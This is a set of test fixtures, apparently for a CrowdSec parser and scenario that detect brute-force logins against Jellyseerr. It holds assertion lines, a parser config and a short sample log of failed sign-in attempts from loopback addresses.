results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "jellyseerr-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "jellyseerr_failed_auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "jellyseerr" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.3" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-20T09:52:34.281Z" results[1].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "jellyseerr-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "jellyseerr_failed_auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "jellyseerr" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.3" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-20T09:52:34.281Z" results[1].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "jellyseerr-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "jellyseerr_failed_auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "jellyseerr" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.3" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-20T09:52:34.281Z" results[1].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "jellyseerr-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "jellyseerr_failed_auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "jellyseerr" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.3" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-06-20T09:52:34.281Z" results[1].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser" results[1].Overflow.Alert.GetScenario() == "LePresidente/jellyseerr-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 "127.0.0.2" in results[2].Overflow.GetSources() results[2].Overflow.Sources["127.0.0.2"].IP == "127.0.0.2" results[2].Overflow.Sources["127.0.0.2"].Range == "" results[2].Overflow.Sources["127.0.0.2"].GetScope() == "Ip" results[2].Overflow.Sources["127.0.0.2"].GetValue() == "127.0.0.2" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "jellyseerr-bf.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "jellyseerr_failed_auth" results[2].Overflow.Alert.Events[0].GetMeta("service") == "jellyseerr" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.2" results[2].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[2].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser@example.com" results[2].Overflow.Alert.Events[1].GetMeta("datasource_path") == "jellyseerr-bf.log" results[2].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[1].GetMeta("log_type") == "jellyseerr_failed_auth" results[2].Overflow.Alert.Events[1].GetMeta("service") == "jellyseerr" results[2].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.2" results[2].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[2].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser@example.com" results[2].Overflow.Alert.Events[2].GetMeta("datasource_path") == "jellyseerr-bf.log" results[2].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[2].GetMeta("log_type") == "jellyseerr_failed_auth" results[2].Overflow.Alert.Events[2].GetMeta("service") == "jellyseerr" results[2].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.2" results[2].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[2].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser@example.com" results[2].Overflow.Alert.Events[3].GetMeta("datasource_path") == "jellyseerr-bf.log" results[2].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[3].GetMeta("log_type") == "jellyseerr_failed_auth" results[2].Overflow.Alert.Events[3].GetMeta("service") == "jellyseerr" results[2].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.2" results[2].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[2].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser@example.com" results[2].Overflow.Alert.Events[4].GetMeta("datasource_path") == "jellyseerr-bf.log" results[2].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[4].GetMeta("log_type") == "jellyseerr_failed_auth" results[2].Overflow.Alert.Events[4].GetMeta("service") == "jellyseerr" results[2].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.2" results[2].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[2].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser@example.com" results[2].Overflow.Alert.Events[5].GetMeta("datasource_path") == "jellyseerr-bf.log" results[2].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[5].GetMeta("log_type") == "jellyseerr_failed_auth" results[2].Overflow.Alert.Events[5].GetMeta("service") == "jellyseerr" results[2].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.2" results[2].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[2].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser@example.com" results[2].Overflow.Alert.GetScenario() == "LePresidente/jellyseerr-bf" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 6 "127.0.0.1" in results[3].Overflow.GetSources() results[3].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[3].Overflow.Sources["127.0.0.1"].Range == "" results[3].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[3].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "jellyseerr-bf.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "jellyseerr_failed_auth" results[3].Overflow.Alert.Events[0].GetMeta("service") == "jellyseerr" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[3].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[3].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser" results[3].Overflow.Alert.Events[1].GetMeta("datasource_path") == "jellyseerr-bf.log" results[3].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[1].GetMeta("log_type") == "jellyseerr_failed_auth" results[3].Overflow.Alert.Events[1].GetMeta("service") == "jellyseerr" results[3].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[3].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[3].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser" results[3].Overflow.Alert.Events[2].GetMeta("datasource_path") == "jellyseerr-bf.log" results[3].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[2].GetMeta("log_type") == "jellyseerr_failed_auth" results[3].Overflow.Alert.Events[2].GetMeta("service") == "jellyseerr" results[3].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[3].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[3].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser" results[3].Overflow.Alert.Events[3].GetMeta("datasource_path") == "jellyseerr-bf.log" results[3].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[3].GetMeta("log_type") == "jellyseerr_failed_auth" results[3].Overflow.Alert.Events[3].GetMeta("service") == "jellyseerr" results[3].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[3].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[3].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser" results[3].Overflow.Alert.Events[4].GetMeta("datasource_path") == "jellyseerr-bf.log" results[3].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[4].GetMeta("log_type") == "jellyseerr_failed_auth" results[3].Overflow.Alert.Events[4].GetMeta("service") == "jellyseerr" results[3].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[3].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[3].Overflow.Alert.Events[4].GetMeta("user") == "fakeuser" results[3].Overflow.Alert.Events[5].GetMeta("datasource_path") == "jellyseerr-bf.log" results[3].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[5].GetMeta("log_type") == "jellyseerr_failed_auth" results[3].Overflow.Alert.Events[5].GetMeta("service") == "jellyseerr" results[3].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.1" results[3].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-06-20T09:52:17.637Z" results[3].Overflow.Alert.Events[5].GetMeta("user") == "fakeuser" results[3].Overflow.Alert.GetScenario() == "LePresidente/jellyseerr-bf" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 6hub1/.tests/jellyseerr-logs/000077500000000000000000000000001437532772500162765ustar00rootroot00000000000000hub1/.tests/jellyseerr-logs/config.yaml000066400000000000000000000004221437532772500204250ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/docker-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/jellyseerr-logs.yaml scenarios: - "" postoverflows: - "" log_file: jellyseerr-logs.log log_type: jellyseerr labels: {} ignore_parsers: false hub1/.tests/jellyseerr-logs/jellyseerr-logs.log000066400000000000000000000017241437532772500221270ustar00rootroot000000000000002022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.1","email":"fakeuser"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"127.0.0.1","email":"fakeuser"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.1","email":"fakeuser@example.com"} 2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.1","email":"fakeuser","password":"__REDACTED__"}} 2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.1","email":"realuser","password":"__REDACTED__"}} 2022-08-03T06:40:25.190Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"127.0.0.1","email":"fakeuser","password":"__REDACTED__"}hub1/.tests/jellyseerr-logs/parser.assert000066400000000000000000000453441437532772500210270ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/docker-logs"]) == 6 results["s00-raw"]["crowdsecurity/docker-logs"][0].Success == false results["s00-raw"]["crowdsecurity/docker-logs"][1].Success == false results["s00-raw"]["crowdsecurity/docker-logs"][2].Success == false results["s00-raw"]["crowdsecurity/docker-logs"][3].Success == false results["s00-raw"]["crowdsecurity/docker-logs"][4].Success == false results["s00-raw"]["crowdsecurity/docker-logs"][5].Success == false len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 6 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser\"}" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "jellyseerr" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"127.0.0.1\",\"email\":\"fakeuser\"}" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "jellyseerr" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "jellyseerr" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser@example.com\"}" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {\"account\":{\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser\",\"password\":\"__REDACTED__\"}}" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "jellyseerr" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {\"account\":{\"ip\":\"::ffff:127.0.0.1\",\"email\":\"realuser\",\"password\":\"__REDACTED__\"}}" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "jellyseerr" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "2022-08-03T06:40:25.190Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {\"account\":{\"ip\":\"127.0.0.1\",\"email\":\"fakeuser\",\"password\":\"__REDACTED__\"}" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "jellyseerr" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 6 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false len(results["s01-parse"]["LePresidente/jellyseerr-logs"]) == 6 results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Success == true results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Parsed["timestamp"] == "2022-06-20T09:52:17.637Z" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Parsed["username"] == "fakeuser" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser\"}" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Parsed["program"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Meta["user"] == "fakeuser" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s01-parse"]["LePresidente/jellyseerr-logs"][0].Evt.Meta["service"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Success == true results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"127.0.0.1\",\"email\":\"fakeuser\"}" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Parsed["program"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Parsed["timestamp"] == "2022-06-20T09:52:17.637Z" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Parsed["username"] == "fakeuser" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Meta["service"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Meta["user"] == "fakeuser" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s01-parse"]["LePresidente/jellyseerr-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Success == true results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Parsed["timestamp"] == "2022-06-20T09:52:17.637Z" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Parsed["username"] == "fakeuser@example.com" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser@example.com\"}" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Parsed["program"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Meta["service"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Meta["user"] == "fakeuser@example.com" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/jellyseerr-logs"][2].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Success == true results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Parsed["message"] == "2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {\"account\":{\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser\",\"password\":\"__REDACTED__\"}}" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Parsed["program"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Parsed["timestamp"] == "2022-06-20T09:52:34.281Z" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Parsed["username"] == "fakeuser" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Meta["service"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][3].Evt.Meta["user"] == "fakeuser" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Success == true results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Parsed["message"] == "2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {\"account\":{\"ip\":\"::ffff:127.0.0.1\",\"email\":\"realuser\",\"password\":\"__REDACTED__\"}}" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Parsed["program"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Parsed["timestamp"] == "2022-06-20T09:52:50.332Z" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Parsed["username"] == "realuser" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Meta["service"] == "jellyseerr" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Meta["user"] == "realuser" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/jellyseerr-logs"][4].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s01-parse"]["LePresidente/jellyseerr-logs"][5].Success == false len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 5 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "fakeuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["user"] == "fakeuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"127.0.0.1\",\"email\":\"fakeuser\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "fakeuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["user"] == "fakeuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["username"] == "fakeuser@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser@example.com\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["user"] == "fakeuser@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-06-20T09:52:17.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {\"account\":{\"ip\":\"::ffff:127.0.0.1\",\"email\":\"fakeuser\",\"password\":\"__REDACTED__\"}}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "2022-06-20T09:52:34.281Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["username"] == "fakeuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-06-20T09:52:34.281Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["user"] == "fakeuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" 